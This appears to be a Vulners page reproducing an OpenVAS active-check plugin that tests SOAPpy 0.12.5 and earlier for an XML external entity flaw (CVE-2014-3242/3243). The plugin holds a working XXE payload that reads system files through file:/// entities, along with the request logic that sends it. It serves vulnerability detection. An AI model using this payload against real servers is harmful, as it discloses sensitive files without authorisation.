Lucene search
+L

SOAPpy <= 0.12.5 XXE Vulnerability - Active Check

🗓️ 06 May 2014 00:00:00Reported by Copyright (C) 2014 Greenbone AGType 
openvas
 openvas
🔗 plugins.openvas.org👁 31 Views

SOAPpy XML External Entities Information Disclosure Vulnerability. SOAPpy is prone to an information-disclosure vulnerability. An attacker can exploit this issue to obtain sensitive information, leading to further attacks

Code
# SPDX-FileCopyrightText: 2014 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.105017");
  script_version("2025-12-19T15:41:09+0000");
  script_tag(name:"last_modification", value:"2025-12-19 15:41:09 +0000 (Fri, 19 Dec 2025)");
  script_tag(name:"creation_date", value:"2014-05-06 11:10:06 +0200 (Tue, 06 May 2014)");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:N/A:P");

  script_cve_id("CVE-2014-3242", "CVE-2014-3243");

  script_tag(name:"qod_type", value:"remote_app");

  script_tag(name:"solution_type", value:"VendorFix");

  script_name("SOAPpy <= 0.12.5 XXE Vulnerability - Active Check");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2014 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_get_http_banner.nasl", "os_detection.nasl");
  script_mandatory_keys("SOAPpy/banner");
  script_require_ports("Services/www", 80);

  script_tag(name:"summary", value:"SOAPpy is prone to an XML external entity (XXE)
  vulnerability");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP POST request and checks the response.");

  script_tag(name:"insight", value:"Processing of an external entity containing tainted data may
  lead to disclosure of confidential information and other system impacts.");

  script_tag(name:"impact", value:"An attacker can exploit this issue to obtain sensitive
  information, this may lead to further attacks.");

  script_tag(name:"affected", value:"SOAPpy 0.12.5 and prior are vulnerable.");

  script_tag(name:"solution", value:"Ask the vendor for an update.");

  exit(0);
}

include("host_details.inc");
include("http_func.inc");
include("misc_func.inc");
include("os_func.inc");
include("port_service_func.inc");
include("traversal_func.inc");

port = http_get_port( default:80 );

banner = http_get_remote_headers( port:port );

if( "SOAPpy" >!< banner )
  exit( 0 );

files = traversal_files();

useragent = http_get_user_agent();

host = http_host_name( port:port );

foreach pattern ( keys ( files ) ) {
  url = "/";

  headers = make_array( "Content-type", "text/xml",
                        "SOAPAction", '"echo"' );

  data = '<?xml version="1.0" encoding="UTF-8"?>
  <!DOCTYPE v1 [
   <!ENTITY xxe SYSTEM "file:///' + files[pattern] + '">
  ]>
  <SOAP-ENV:Envelope
    SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"
    xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"
    xmlns:xsi="http://www.w3.org/1999/XMLSchema-instance"
    xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
    xmlns:xsd="http://www.w3.org/1999/XMLSchema">
  <SOAP-ENV:Body>
  <echo SOAP-ENC:root="1">
  <v1 xsi:type="xsd:string">&xxe;</v1>
  </echo>
  </SOAP-ENV:Body>
  </SOAP-ENV:Envelope>';

  req = http_post_put_req( port:port, url:url, data:data, add_headers:headers );
  res = http_send_recv( port:port, data:req );

  if( egrep( pattern:pattern, string:res ) ) {
    report = "It was possible to obtain the file '" + files[pattern] + "'" +
             '\n\nResult:\n\n' + chomp( res );
    security_message( port:port, data:report );
    exit( 0 );
  }
}

exit( 99 );

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation